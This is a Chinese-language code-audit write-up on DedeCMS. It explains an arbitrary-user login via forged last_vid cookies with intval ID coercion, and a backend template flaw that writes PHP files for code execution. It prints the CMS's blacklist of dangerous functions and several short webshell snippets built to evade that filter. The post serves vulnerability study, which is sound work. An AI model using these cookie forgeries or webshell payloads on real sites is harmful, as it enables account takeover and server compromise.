织梦CMS代码审计

渗透技巧 1年前 (2023) admin
470 0 0

织梦CMS源码获取地址https://www.dedecms.com/download,可以看官方手册用小皮部署环境

路由分析

拿到代码先看网站首页入口点index.php


<?php
/**
 * @version        $Id: index.php 1 9:23 2010-11-11 tianya $
 * @package        DedeCMS.Site
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
if(!file_exists(dirname(__FILE__).'/data/common.inc.php'))
{
    header('Location:install/index.php');
    exit();
}
//自动生成HTML版
if(isset($_GET['upcache']) || !file_exists('index.html'))  
{
    require_once (dirname(__FILE__) . "/include/common.inc.php");
    require_once DEDEINC."/arc.partview.class.php";
    $GLOBALS['_arclistEnv'] = 'index';
    $row = $dsql->GetOne("Select * From `#@__homepageset`");
    $row['templet'] = MfTemplet($row['templet']);
    $pv = new PartView();
    $pv->SetTemplet($cfg_basedir . $cfg_templets_dir . "/" . $row['templet']);
    $row['showmod'] = isset($row['showmod'])? $row['showmod'] : 0;
    if ($row['showmod'] == 1)
    {
        $pv->SaveToHtml(dirname(__FILE__).'/index.html');
        include(dirname(__FILE__).'/index.html');
        exit();
    } else { 
        $pv->Display();
        exit();
    }
}
else
{
    header('HTTP/1.1 301 Moved Permanently');
    header('Location:index.html');
}
?>

可以看到先对路径下是否存在/data/common.inc.php进行判断,如果不存在先跳转到安装流程;接着在没有登录缓存和自定义首页的情况下系统会进行数据库查询和获取模板等等进行前端渲染生成HTML;这些重要方法和配置引入都来自/include/common.inc.php

例如对不同模块路径的划分方便应用去调用

织梦CMS代码审计

规定文件存放路径

织梦CMS代码审计

以及导入数据库类和确立MVC框架的使用

织梦CMS代码审计

再看DedeCMS下前台的会员系统和后台的登录系统的入口点


<?php
/**
 * @version        $Id: index.php 1 8:24 2010年7月9日Z tianya $
 * @package        DedeCMS.Member
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
require_once(dirname(__FILE__)."/config.php");
$uid=empty($uid)? "" : RemoveXSS($uid); 
if(empty($action)) $action = '';
if(empty($aid)) $aid = '';
$menutype = 'mydede';
if ( preg_match("#PHP (.*) Development Server#",$_SERVER['SERVER_SOFTWARE']) )
{
    if ( $_SERVER['REQUEST_URI'] == dirname($_SERVER['SCRIPT_NAME']) )
    {
        header('HTTP/1.1 301 Moved Permanently');
        header('Location:'.$_SERVER['REQUEST_URI'].'/');
    }
}
......



<?php
/**
 * 管理后台首页
 *
 * @version        $Id: index.php 1 11:06 2010年7月13日Z tianya $
 * @package        DedeCMS.Administrator
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
if ( preg_match("#PHP (.*) Development Server#",$_SERVER['SERVER_SOFTWARE']) )
{
    if ( $_SERVER['REQUEST_URI'] == dirname($_SERVER['SCRIPT_NAME']) )
    {
        header('HTTP/1.1 301 Moved Permanently');
        header('Location:'.$_SERVER['REQUEST_URI'].'/');
    }
}
 
require_once(dirname(__FILE__)."/config.php");
require_once(DEDEINC.'/dedetag.class.php');
$defaultIcoFile = DEDEDATA.'/admin/quickmenu.txt';
$myIcoFile = DEDEDATA.'/admin/quickmenu-'.$cuserLogin->getUserID().'.txt';
if(!file_exists($myIcoFile)) $myIcoFile = $defaultIcoFile;
require(DEDEADMIN.'/inc/inc_menu_map.php');
include(DEDEADMIN.'/templets/index2.htm');
exit();

各自有导入模块下的config.php,而每个config.php又会导入前面说到的/include/common.inc.php

织梦CMS代码审计


织梦CMS代码审计

可以看出,各个模块功能的实现都要调用require_once来引⼊/data/common.inc.php⽂件,而两个登录系统还要加入各自的config.php

授权校验

尝试在没有登录授权的情况下直接访问会员模块http://192.168.72.128/member/buy.php  程序先跟踪进config.php

织梦CMS代码审计

在config.php中构造一个方法对用户是否登录进行判断,调用方法前先生成一个MemberLogin对象

织梦CMS代码审计

MemberLogin的构造方法在/include/memberlogin.class.php中


    function __construct($kptime = -1, $cache=FALSE)
    {
        global $dsql;
        if($kptime==-1){
            $this->M_KeepTime = 3600 * 24 * 7;
        }else{
            $this->M_KeepTime = $kptime;
        }
        $formcache = FALSE;
        $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
        $this->M_LoginTime = GetCookie("DedeLoginTime");
        $this->fields = array();
        $this->isAdmin = FALSE;
        if(empty($this->M_ID))
        {
            $this->ResetUser();
        }else{
            $this->M_ID = intval($this->M_ID);
            
            if ($cache)
            {
                $this->fields = GetCache($this->memberCache, $this->M_ID);
                if( empty($this->fields) )
                {
                    $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
                } else {
                    $formcache = TRUE;
                }
            } else {
                $this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
            }
                
            if(is_array($this->fields)){
                #api{{
                if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
                {
                    if($data = uc_get_user($this->fields['userid']))
                    {
                        if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
                        {
                            $this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
                            $dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
                        }
                    }
                }
                #/aip}}
            
                //间隔一小时更新一次用户登录时间
                if(time() - $this->M_LoginTime > 3600)
                {
                    $dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
                    PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
                }
                $this->M_LoginID = $this->fields['userid'];
                $this->M_MbType = $this->fields['mtype'];
                $this->M_Money = $this->fields['money'];
                $this->M_UserName = FormatUsername($this->fields['uname']);
                $this->M_Scores = $this->fields['scores'];
                $this->M_Face = $this->fields['face'];
                $this->M_Rank = $this->fields['rank'];
                $this->M_Spacesta = $this->fields['spacesta'];
                $sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
                $scrow = $dsql->GetOne($sql);
                $this->fields['honor'] = $scrow['titles'];
                $this->M_Honor = $this->fields['honor'];
                if($this->fields['matt']==10) $this->isAdmin = TRUE;
                $this->M_UpTime = $this->fields['uptime'];
                $this->M_ExpTime = $this->fields['exptime'];
                $this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
                if($this->M_Rank>10 && $this->M_UpTime>0){
                    $this->M_HasDay = $this->Judgemember();
                }
                if( !$formcache )
                {
                    SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
                }
            }else{
                $this->ResetUser();
            }
        }
    }

由于没有登录cookie中没有内容所以获取的ID都是为空织梦CMS代码审计

返回到上面的config.php会调用memberlogin.class.php中的IsLogin方法

织梦CMS代码审计

如果这里这里返回FALSE那么下面的CheckRank方法就会进行重定向到login.php中

织梦CMS代码审计

织梦CMS代码审计

而在有授权情况下由$this->M_ID = $this->GetNum(GetCookie("DedeUserID")来到cookie校验,这里的加密key签名来自cookie,如果比较成功返回M_ID,其中$cfg_cookie_encode作为全局变量在程序安装时已经被写死

织梦CMS代码审计


    function GetCookie($key)
    {
        global $cfg_cookie_encode;
        if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
        {
            return '';
        }
        else
        {
            if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
            {
                return '';
            }
            else
            {
                return $_COOKIE[$key];
            }
        }
    }

这里的intval是一个很有意思的地方后面会提到

织梦CMS代码审计

接着调用数据库通过M_ID查询到更多信息

织梦CMS代码审计

获取到的信息存储到fields中

织梦CMS代码审计

由于M_ID>0, $myurl能正常被定义,页面也能正常访问

织梦CMS代码审计

任意用户登录

适用于2021以下版本

通过上文的分析我们可以知道会员模块的身份认证使用的是客户端session,在Cookie中写入用户ID并且附上ID__ckMd5用做签名,由于我们能控制key,因此原理上可以伪造任意用户登录

/member/index.php中会接收uid和action参数,会验证Cookie中的用户ID与uid(即用户名)并确定用户权限,当uid存在值时就会进入这个代码逻辑,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid = $uid;,然后执行PutCookie存储,因此控制了$uid也就控制了那个作为签名校验的md5值


if($action == '')
    {
        include_once(DEDEINC."/channelunit.func.php");
        $dpl = new DedeTemplate();
        $tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";
        //更新最近访客记录及站点统计记录
        $vtime = time();
        $last_vtime = GetCookie('last_vtime');
        $last_vid = GetCookie('last_vid');         <----
        if(empty($last_vtime))
        {
            $last_vtime = 0;
        }
        if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.','))
        {
            if($last_vid!='')
            {
                $last_vids = explode(',',$last_vid);
                $i = 0;
                $last_vid = $uid;
                foreach($last_vids as $lsid)
                {
                    if($i>10)
                    {
                        break;
                    }
                    else if($lsid != $uid)
                    {
                        $i++;
                        $last_vid .= ','.$last_vid;
                    }
                }
            }
            else
            {
                $last_vid = $uid;     <----
            }
            PutCookie('last_vtime', $vtime, 3600*24, '/');   
            PutCookie('last_vid', $last_vid, 3600*24, '/');   <----

因此可以注册一名000001账户,将cookie中DedeUserID值改为last_vid的(000001),DedeUserID__ckMd5值改为last_vid__ckMd5如此一来就能绕过前面校验提到的getcookie检验,因此此时后端存储的校验key已经变成我们的uid和他的md5值

织梦CMS代码审计

再次访问xxx/member/index.php

织梦CMS代码审计

再通过intval函数获取变量的整数值

织梦CMS代码审计

可以看到原本的字符串00001变成了int类型的1,此时对于M_ID来说已经完成身份替换

织梦CMS代码审计

由于查询数据库是根据M_ID来进行的,所以下面返回的信息也变成admin的信息

织梦CMS代码审计

最终实现越权成功

织梦CMS代码审计

后台模板RCE

织梦CMS代码审计


根据公开的资料漏洞点出现在后台目录下的templets_one_edit.php


$aid = isset($aid) && is_numeric($aid) ? $aid : 0;  //检测变量是否为合法的数字格式
if($dopost=="saveedit")   //判断是dopost变量是否为saveedit
{
    include_once(DEDEINC."/arc.sgpage.class.php");
    $uptime = time();
    $body = str_replace('&quot;', '\"', $body);
    $filename = preg_replace("#^/#", "", $nfilename);  
    //如果更改了文件名,删除旧文件
    if($oldfilename!=$filename)
    {
        $oldfilename = $cfg_basedir.$cfg_cmspath."/".$oldfilename;
        if(is_file($oldfilename))
        {
            unlink($oldfilename);
        }
    }
    if($likeidsel!=$oldlikeid )
    {
        $likeid = $likeidsel;
    }
    $inQuery = "
     UPDATE `#@__sgpage` SET
     title='$title',
     keywords='$keywords',
     description='$description',
     likeid='$likeid',
     ismake='$ismake',
     filename='$filename',
     template='$template',
     uptime='$uptime',
     body='$body'
     WHERE aid='$aid'; ";
    if(!$dsql->ExecuteNoneQuery($inQuery))
    {
        ShowMsg("更新页面数据时失败,请检查长相是否有问题!","-1");
        exit();
    }
    $sg = new sgpage($aid);
    $sg->SaveToHtml();
    ShowMsg("成功修改一个页面!", "templets_one.php");
    exit();
}

在核心/单页文档管理 填写内容如下

织梦CMS代码审计

调试跟踪可以发现这里对填入的文件名只是进行了一个非常简单的替换,对于后缀根本没有进行检测因此可以轻松写入一个php在web的可访问路径下(生成在/a目录下)

织梦CMS代码审计

最终会将模板内容注入到新的页面中(此时就是php文件)


 UPDATE `dede_sgpage` SET
     title='we',
     keywords='we',
     description='',
     likeid='default',
     ismake='0',
     filename='a/1.php',
     template='{style}/1.htm',
     uptime='1678332617',
     body='<p><br></p>'
     WHERE aid='2'; 

并返回正常页面

织梦CMS代码审计

因此只需要保证我们自定义的模板能被正常调用就可以达到上传一个webshell的作用

织梦CMS代码审计

这里需要注意的是我们新建的模板内容会经过文件管理器检测,也就是dede/tpl.php中

// 不允许这些字符
$content = preg_replace("#(/*)[sS]*(*/)#i", '', $content);

global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['"]*{$value}['"]*[s]*[([{]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

if(preg_match("#^[sS]+<?(php|=)?[s]+#i", " {$content}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[s]*[(][sS]*[)][s]*[;]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[s]*[(][sS]*[)]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
if(preg_match("#[`][sS]*[`]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

很明显绝大多数的方法是名字直接被绑死过不了的,这相当于一个webshell沙箱了

当然网上许多师傅也分享了免杀的思路,比如魔术方法的使用

__FUNCTION__的利用,将webshell的名字改为base64编码后的内容
<?php

function assert2(){
substr(__FUNCTION__,0,6)($_GET[1]);
}
assert2();

__CLASS__的利用
<?php

class assert2{
static function demo(){
substr(__CLASS__,0,6)($_GET[1]);
}
}
assert2::demo();

_NAMESPACE__的利用
<?php

namespace assert2;
substr(__NAMESPACE__,0,6)($_GET[1]);

或者异或加密,这个对于过上面绑死方法名还是很有用的,这里就直接用T00ls上师傅分享的异或免杀来构造eval和$_GET

织梦CMS代码审计

之后再按照之前的步骤将模板注入到新的php中,实际效果如下

织梦CMS代码审计


原文始发于微信公众号(dada安全研究所):织梦CMS代码审计

版权声明:admin 发表于 2023年3月10日 下午6:27。
转载请注明:织梦CMS代码审计 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...